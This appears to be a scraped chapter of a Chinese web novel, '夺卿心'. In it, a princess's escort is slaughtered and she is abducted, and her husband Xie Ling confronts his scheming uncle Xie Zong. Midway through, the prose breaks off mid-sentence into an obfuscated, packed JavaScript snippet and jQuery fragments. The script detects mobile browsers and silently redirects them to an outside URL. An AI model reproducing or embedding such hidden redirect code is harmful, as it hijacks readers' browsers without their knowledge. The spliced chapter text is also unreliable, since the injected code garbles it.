48. 第四十八章
作品:《夺卿心》 烟河镇一连下了半月的雨,来往的行人客商被困在镇上唯一的客栈,整日忧心忡忡,生怕山水冲毁道路,耽误行程。
萧大郎刚打探消息回来,摘下蓑衣,立刻往客栈后厢房走去,一路过来,乔装打扮的士兵们问安声此起彼伏,萧大郎叮嘱众人醒着神,莫要让任何可疑之人接近。
隔着门,萧大郎回禀道:“公主,前方道路坍塌不少,一时半会儿走不了。”
闻梨捧着书卷,淡淡应了一声,让萧大郎回去歇息。
一旁的清霜沏了盏茶,离开王府的这段日子,眼见公主的脸一天天丰腴红润起来,清霜的心里也跟着高兴。
“公主,书看久了伤神,若是觉得闷,奴婢陪您在院中走走?”
闻梨搁下书,喝口茶,闭目养神了一会儿,而后推开窗,俯瞰朦胧细雨中的稻田,心中是前所未有的安宁,深吸一口气,她扭头朝清霜道:“我来教你识字吧?”
清霜一脸受宠若惊:“啊?”
闻梨笑着解释道:“往后你跟着我,少不了要待在医馆,若能找点事做,总不至于太闷,等你认识了字,想学医也好,当账房也罢,想融入宫外,总归要有自己的生活。”
清霜意外又惊喜,福身谢恩:“奴婢愿意。”
闻梨扶起她:“往后,宫里那套规矩,不必再记。”
夏末,暑气渐消,又是个阴雨连绵的天,萧大郎等人刚换班用过午膳,正在大堂内歇息,几人三言两语,问起了萧大郎的婚期。
萧大郎憨笑着道:“原本想跑完这趟差事再告诉众兄弟们,婚期定在明年开春,届时还请诸位兄弟来吃席。”
众人说得正热闹,忽而有个下属碰了碰萧大郎的胳膊,萧大郎即刻起身,朝门内走来的公主行礼。
闻梨看向众人,让清霜将手中的包袱递给萧大郎,“夜里蚊虫多,还将萧将军莫嫌针脚粗陋,把香囊分给大家防虫。”
萧大郎诚惶诚恐接过,待闻梨与清霜一走,众将士围过来一阵哄抢,他们当中,有好些人从没收到过女子送香囊,新奇地拿在手中把玩。
萧大郎怀里揣着一枚未婚妻亲手缝制的荷包,便将自己那份分出去。
入夜,雨滴敲打房顶的瓦砺,叮咚作响,檐下的士兵们聚精会神值守,店小二端了壶茶,颤巍巍走来,声音有些发抖:“几位爷……要不要喝茶醒醒神?”
离店小二最近的那个士兵,说了声多谢,刚想给兄弟们分茶水喝,被院内走来的萧大郎喝止:“怎可随意喝别人递来的水?”
这几日众人的饭菜和水,皆在萧大郎的监督下,由客栈后厨准备,确保护送途中万无一失。
那士兵讪讪松手,店小二经此一声呵斥,身子发抖得更加厉害,尤其在萧大郎出现后,店小二神色越发慌张,踉跄后退想要逃离现场。
萧大郎眼睛一眯,手掌一伸,将人提溜到自己面前,厉声质问:“谁派你来这送水的?”
店小二脸都吓白了,支支吾吾说不出话。
与此同时,后厢房传来一道凄惨的喊声:“公主!”
萧大郎意识到中计了,扔下店小二,快步朝后厢房走去,却见公主房门口躺了一地的尸首,房门大开,公主不知所踪。
清霜倒在门边,脖颈上的血泊触目惊心,她已经说不出话了,瞪着眼睛,手里紧紧攥着什么东西,想要递给萧大郎,在萧大郎接过的那一刻,清霜闭眼咽了气。
萧大郎看清手中的东西,登时眼睛发直,怒从心生,找来跑得最快的手下,吩咐他无论如何都要把此物送到王爷手上,随后集结剩下的人,朝着夜幕中追去。
公主已经在他手上丢过一回,这一次,他绝不容许同样的事情再发生。
夜雨如织,闻梨被人抗在肩头,在雨幕里急速狂奔,雨滴顺着她的脸逆淌过,模糊了她的视线,一点点冲刷掉她脸上沾染的那抹、属于清霜的鲜血。
脑海中浮现清霜前几日说过的话,她说等学会了认字,以后想当医馆的账房,可是为什么,明明自由就在眼前,还是被人剥夺了一切?
感受到肩膀上的人反抗得越来越激烈,黑衣人停下步子,放下闻梨,欲把人敲昏带走,岂料余光瞥见身后追来的人影。
“居然这么快?”黑衣人抬手敲晕闻梨,扔到一边,随即联合附近的同伴,加入这场雨中混战。
雨滴落在闻梨脸上,那张惨白沉睡的面容,对旁边的惨烈打斗毫无察觉,不知过了多久,追兵已然全部倒下,黑衣人也负了伤,同伴几乎也快死完了,不过从他的眼里,看不到半分对同伴性命的怜惜。
“非要来送死,拦都拦不住。”说着,黑衣人再次扛起闻梨,逐渐消失在雨林深处。
多日后,萧大郎等人的尸首被运送回京,谢陵悲恸欲绝,跪倒在众将士尸首面前,另一边,林氏医馆的小姐缓缓走到心爱之人身旁,亲手取回那枚染血的荷包,泪滴落下,血的颜色更深了些。
庆丰茶楼地下的一间密室,昏暗的烛灯照在几张凝重沉默的脸上,压抑低沉的气氛里,谢陵面上如同蒙了一层寒霜,那双深沉阴郁的眼眸透着怒意和杀气。
“这么说,谢宗连你也瞒过了?”
虞莲盯着那簇幽暗的烛火,声音里听不出任何情绪:“他已经开始怀疑我了,不过没有抓到什么把柄,他从一开始,就防备着我,这次他绑走梨儿,是想同时给你我一个警告,我们两个不宜再出面,接下来就看商先生的了。”
一张俊秀儒雅的脸,从烛光里缓缓抬眸,商晏望向二人,“如今情势对我们极为不利,朝堂大部分人皆归顺了谢侯,是该唤醒我们的人了。”
虞莲点头,没有任何异议,一旦联络这些年暗中发展的势力,那就意味着,要与谢宗撕下伪装,最后一战。
商晏望向谢陵:“为今之计,要先把王爷身边的心腹悉数召回。”
谢陵蹙眉:“可我的卿卿还在他手里,别跟我说,你们不打算救她,倘若真是如此,我们没必要结盟。”
虞莲垂眸。
商晏冷静分析道:“谢侯历来谨慎,身边跟着无数高手,想暗杀他很难,唯有把他引出京城,为了守住江山,他会留下大批心腹驻守京城。”
“其二,谢侯一直忌惮废太子势力,刚到玉京时,他迟迟未从王爷手中夺权,是想拿王爷替他挡刀,如今王爷不再替他做事,废太子一日不除,他很难安心坐上那个位置。”
“据我所知,废太子现在齐国十一皇子手上,齐国欲扶持废太子夺位,我朝局势越乱,于齐国而言越有利,若齐国愿意拿废太子交换,或许可救公主一命。”
半月后,一封来自晋朝京都的密信送到了徐渺手上,北齐的天已经开始冷了,他在炭火边拆开那封信,读罢,眉头紧皱,他即刻写下一封回信,派人快马加鞭送去。
又是半月后,回信送到了谢陵手上,同样昏暗的烛火下,密室内今日只有他与商晏,看完回信,谢陵冷笑出声:“他答应交换,但是提了两个条件,把龙门郡让给齐国,包括港口,第二条,他想要我的命。”
商晏眼中闪过一丝诧异:“那座港口连接北境多方势力,若给了齐国,只怕近十年,晋朝北方的贸易将会停滞,他们胃口不小啊。”
谢陵沉着脸,烧掉回信:“我说过,不计任何代价,至于我的性命,他未必有本事拿得去。”
*
这一个月以来,谢陵暗中翻遍整个京都,以及谢宗可能藏人的地方,皆寻获无果,这日他刚回到府上,便有门人来报,说谢侯爷曾派人来过。
谢陵立即让人掉转马车头,朝着侯府驶去。
侯府外早有一干人候着,瞧见临王的车架,府上的管事躬身上前迎接:“请王爷下车,侯爷正等着您过去。”
谢陵掀帘而出,却见管事身旁还有一辆车马,他蹙眉询问:“这是何意?”
管事恭敬答道:“侯爷并不在府中,王爷要去的地方有点远。”
谢陵微微眯眼,冷声道:“带路。”
马车穿过繁华热闹的街市,缓缓停在一扇褪漆腐旧的大门前,门口的两座石狮落了厚厚的尘泥,朽烂的牌匾爬满蛛网,无一不在表明,此地多年无人居住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616995|180824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
谢陵望着牌匾上的两个字,心情复杂,多年前的一个冬夜,谢家满门被灭,飞溅的鲜血与漫天的白雪融成一片,他仍清楚记得那一幕,自己从尸堆里爬出来那刻,脚下躺满亲人的尸首。
他深吸一口气,推开尘封已久的家门,尸首、血迹早已不见,映入眼帘的是荒草丛生的庭院,依稀窥得几分当年熟悉的模样。
管事:“侯爷在祠堂等您。”
谢陵脸上闪过一丝阴翳,自他进京后,便在临王府重建了一座谢氏祠堂,为的是供奉祖先,让亡灵安息,而现在谢宗却要他去那间老祠堂见面,恐怕不止是怀念旧人那般简单。
破旧祠堂内,谢宗安然坐在圈椅上,深沉如水的眼眸盯着供桌后的那面墙,桌面空荡荡的,只留下曾经摆过灵牌的印痕。
少年时的谢宗,没少在这间祠堂罚跪,那时候的他满心怨怼,不明白为何同样是谢家的孩子,兄长却样样高自己一截,祖母疼他,父亲偏爱他,先生也偏颇于他,谢氏满门,没有谁不捧着他,就因为他的诗文做得好吗?
可百无一用是书生啊,兄长会写诗又如何,还不是死在他的刀下,这谢家的百年基业,只能靠着他更上一层楼,这一次将会是顶峰,他才是谢家的功臣。
“侯爷,人到了。”
谢宗回过神,目光投向门外,年轻人的脸,与死去的兄长有六七分相似,可浑身散发的冰冷气息,以及那双幽怨仇恨的眼眸,是谢宗此生最得意的杰作。
听话又好用的杀人利器,若非这位侄子,仅靠谢宗自己,恐怕没办法这么快夺得天下。
“进来吧。”谢宗起身,睥睨着面前人
谢陵迟疑片刻,压下心头的憎恶,迈进门槛:“不知二叔找我有何要事?”
谢宗脸上关怀:“身上的伤怎么样了?”
谢陵沉下眼眸:“不大好。”
“为何?”
“内子不知所踪,我正在找她。”
谢宗背过身去,不咸不淡开口:“人在我这里。”
屋内静默了好一阵子,谢陵紧盯着面前人的脖颈,无数次,他想将袖中的兵刃掏出,让谢宗知道什么叫生不如死,可谢宗既然敢摊牌,那就表明,这附近有埋伏。
谢陵极力克制冲动,茫然问道:“二叔此举何意?”
谢宗冷道:“我早与你说过,她是谢氏一族仇敌之女,可你不但爱上她,为了她多次忤逆我,还试图放她离开。既然她伤了你,那我绝对不会轻饶她。”
谢陵默了默,“其实二叔与侄儿想的一样,她伤透了我的心,送她离开,不过是想好好养伤,何况她不管逃到哪里,都逃不出侄儿的手掌心,可否请二叔把人还给我?”
谢宗转过身来,凌厉而狐疑的目光扫在谢陵身上,想从找出些许破绽,未果,他缓和了声色,道:“恐怕没办法还你了,今天叫你来,是为了一桩事,废太子有消息了,在齐国人手中,齐国想与我们做个交换,指名道姓要闻梨公主和亲,你说我该不该答应?”
谢陵愣了许久,沉声道:“侄儿不愿意,我的人即便是死,也得跟我埋在一起,怎么能拱手相送?”
谢宗却摇头:“糊涂,与江山社稷比起来,一个女子算得了什么?此事我已有决断,你不必再劝,等明儿,我在挑几个好的送你房里。”
谢陵沉默不语。
谢宗脸色不满:“怎的?还要为了她忤逆我?”
谢陵:“侄儿不敢,只是萧大郎死得无辜,毕竟是跟了侄儿多年的部下,二叔能否将杀死萧大郎的人给侄儿处置?”
谢宗思虑片刻,同意道:“也罢,晚些时候,自会把人送到你府上,过几日,你随我去边关走一趟,办完这最后一件事,往后天下便是我们谢家的了。”
谢陵告退。
谢陵刚走没多久,谢宗便走到木架前,转动机关,供桌后的那面墙缓缓而开,小小的暗室内,闻梨被绑了手脚,嘴上还贴了封布,初见光线的她极为不适应,好一半晌才看清面前站着的深袍男子。
“来人,把公主带下去,好生伺候。”

